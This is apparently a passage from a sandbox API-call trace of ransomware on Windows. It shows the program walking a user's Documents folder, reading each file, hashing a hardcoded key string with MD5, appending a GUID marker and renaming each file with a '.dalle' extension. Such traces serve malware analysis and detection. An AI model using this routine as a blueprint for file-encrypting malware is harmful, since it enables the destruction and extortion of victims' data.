RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.732] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.732] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.732] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0fc8) returned 1 [0121.733] CryptCreateHash (in: hProv=0x6c0fc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.733] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.733] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.733] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.733] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.733] GetLastError () returned 0x0 [0121.733] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.733] CryptReleaseContext (hProv=0x6c0fc8, dwFlags=0x0) returned 1 [0121.734] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x14192, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.734] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.734] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.734] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0121.734] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.734] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.734] CloseHandle (hObject=0x618) returned 1 [0121.735] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0121.735] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3093b88 [0121.735] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\5WOBU.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\5wobu.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\5WOBU.doc.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\5wobu.doc.dalle")) returned 1 [0121.737] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0775a0, ftCreationTime.dwHighDateTime=0x1d4d511, ftLastAccessTime.dwLowDateTime=0xaf6b9350, ftLastAccessTime.dwHighDateTime=0x1d4ce52, ftLastWriteTime.dwLowDateTime=0xaf6b9350, ftLastWriteTime.dwHighDateTime=0x1d4ce52, nFileSizeHigh=0x0, nFileSizeLow=0x13870, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ca1cHda7JPJatHi.ods", cAlternateFileName="CA1CHD~1.ODS")) returned 1 [0121.737] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.737] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd6) returned 0x2f78ea0 [0121.737] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\Ca1cHda7JPJatHi.ods") returned=".ods" [0121.737] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\Ca1cHda7JPJatHi.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\ca1chda7jpjathi.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.738] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=79984) returned 1 [0121.738] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.740] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1384a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.740] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.741] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.741] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x13870, lpOverlapped=0x0) returned 1 [0121.742] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.742] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.742] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.742] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.742] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0fc8) returned 1 [0121.743] CryptCreateHash (in: hProv=0x6c0fc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.743] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.743] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.743] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.743] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.743] GetLastError () returned 0x0 [0121.743] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.743] CryptReleaseContext (hProv=0x6c0fc8, dwFlags=0x0) returned 1 [0121.744] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13870, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0121.744] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.744] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.744] CloseHandle (hObject=0x618) returned 1 [0121.746] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e018 [0121.746] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8c0) returned 0x3093b88 [0121.746] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\Ca1cHda7JPJatHi.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\ca1chda7jpjathi.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\Ca1cHda7JPJatHi.ods.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\ca1chda7jpjathi.ods.dalle")) returned 1 [0121.747] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7906d1e0, ftCreationTime.dwHighDateTime=0x1d4cd43, ftLastAccessTime.dwLowDateTime=0xc12a0be0, ftLastAccessTime.dwHighDateTime=0x1d4c618, ftLastWriteTime.dwLowDateTime=0xc12a0be0, ftLastWriteTime.dwHighDateTime=0x1d4c618, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jCjO-w4 p w1", cAlternateFileName="JCJO-W~1")) returned 1 [0121.747] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0121.747] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xee) returned 0x2fee9b8 [0121.747] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ac34d40, ftCreationTime.dwHighDateTime=0x1d4d126, ftLastAccessTime.dwLowDateTime=0xb02f4350, ftLastAccessTime.dwHighDateTime=0x1d4c7c1, ftLastWriteTime.dwLowDateTime=0xb02f4350, ftLastWriteTime.dwHighDateTime=0x1d4c7c1, nFileSizeHigh=0x0, nFileSizeLow=0x9e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VOFBy.ppt", cAlternateFileName="")) returned 1 [0121.747] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.747] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd6) returned 0x2f78ea0 [0121.747] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\VOFBy.ppt") returned=".ppt" [0121.747] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\VOFBy.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\vofby.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.748] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=40512) returned 1 [0121.748] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.750] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9e1a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.750] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.751] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.751] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x9e40, lpOverlapped=0x0) returned 1 [0121.752] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.752] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.752] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.752] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.752] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0121.753] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.753] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.753] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.753] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.753] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.753] GetLastError () returned 0x0 [0121.753] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.753] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0121.753] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9e40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.753] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.753] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.753] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0121.753] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.753] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.754] CloseHandle (hObject=0x618) returned 1 [0121.754] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3023140 [0121.754] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3093b88 [0121.755] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\VOFBy.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\vofby.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\VOFBy.ppt.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\vofby.ppt.dalle")) returned 1 [0121.756] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c07d10, ftCreationTime.dwHighDateTime=0x1d4c758, ftLastAccessTime.dwLowDateTime=0x674df9b0, ftLastAccessTime.dwHighDateTime=0x1d4cd9d, ftLastWriteTime.dwLowDateTime=0x674df9b0, ftLastWriteTime.dwHighDateTime=0x1d4cd9d, nFileSizeHigh=0x0, nFileSizeLow=0xeeb1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vwwPCJ.csv", cAlternateFileName="")) returned 1 [0121.756] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.756] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd6) returned 0x2f78ea0 [0121.756] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\vwwPCJ.csv") returned=".csv" [0121.756] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\vwwPCJ.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\vwwpcj.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.756] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=61105) returned 1 [0121.756] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.758] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xee8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.758] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.759] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.759] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xeeb1, lpOverlapped=0x0) returned 1 [0121.760] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.760] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.760] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.760] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.760] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0121.761] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.761] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.761] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.761] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.761] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.761] GetLastError () returned 0x0 [0121.761] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.761] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0121.762] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xeeb1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.762] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.762] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.762] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0121.762] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.762] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.762] CloseHandle (hObject=0x618) returned 1 [0121.763] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3023140 [0121.763] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3093b88 [0121.763] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\vwwPCJ.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\vwwpcj.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\vwwPCJ.csv.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\vwwpcj.csv.dalle")) returned 1 [0121.765] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c07d10, ftCreationTime.dwHighDateTime=0x1d4c758, ftLastAccessTime.dwLowDateTime=0x674df9b0, ftLastAccessTime.dwHighDateTime=0x1d4cd9d, ftLastWriteTime.dwLowDateTime=0x674df9b0, ftLastWriteTime.dwHighDateTime=0x1d4cd9d, nFileSizeHigh=0x0, nFileSizeLow=0xeeb1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vwwPCJ.csv", cAlternateFileName="")) returned 0 [0121.765] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.765] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.765] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094830 [0121.765] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.765] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.765] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.765] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.765] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.765] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.765] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.765] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.765] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.765] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.765] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.765] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.765] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.765] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.765] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.765] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.765] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.765] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.766] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.766] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.766] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.766] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.766] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.766] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.766] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.766] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.766] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.766] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.766] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.766] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.766] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.766] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.766] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.766] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.766] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.766] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.766] 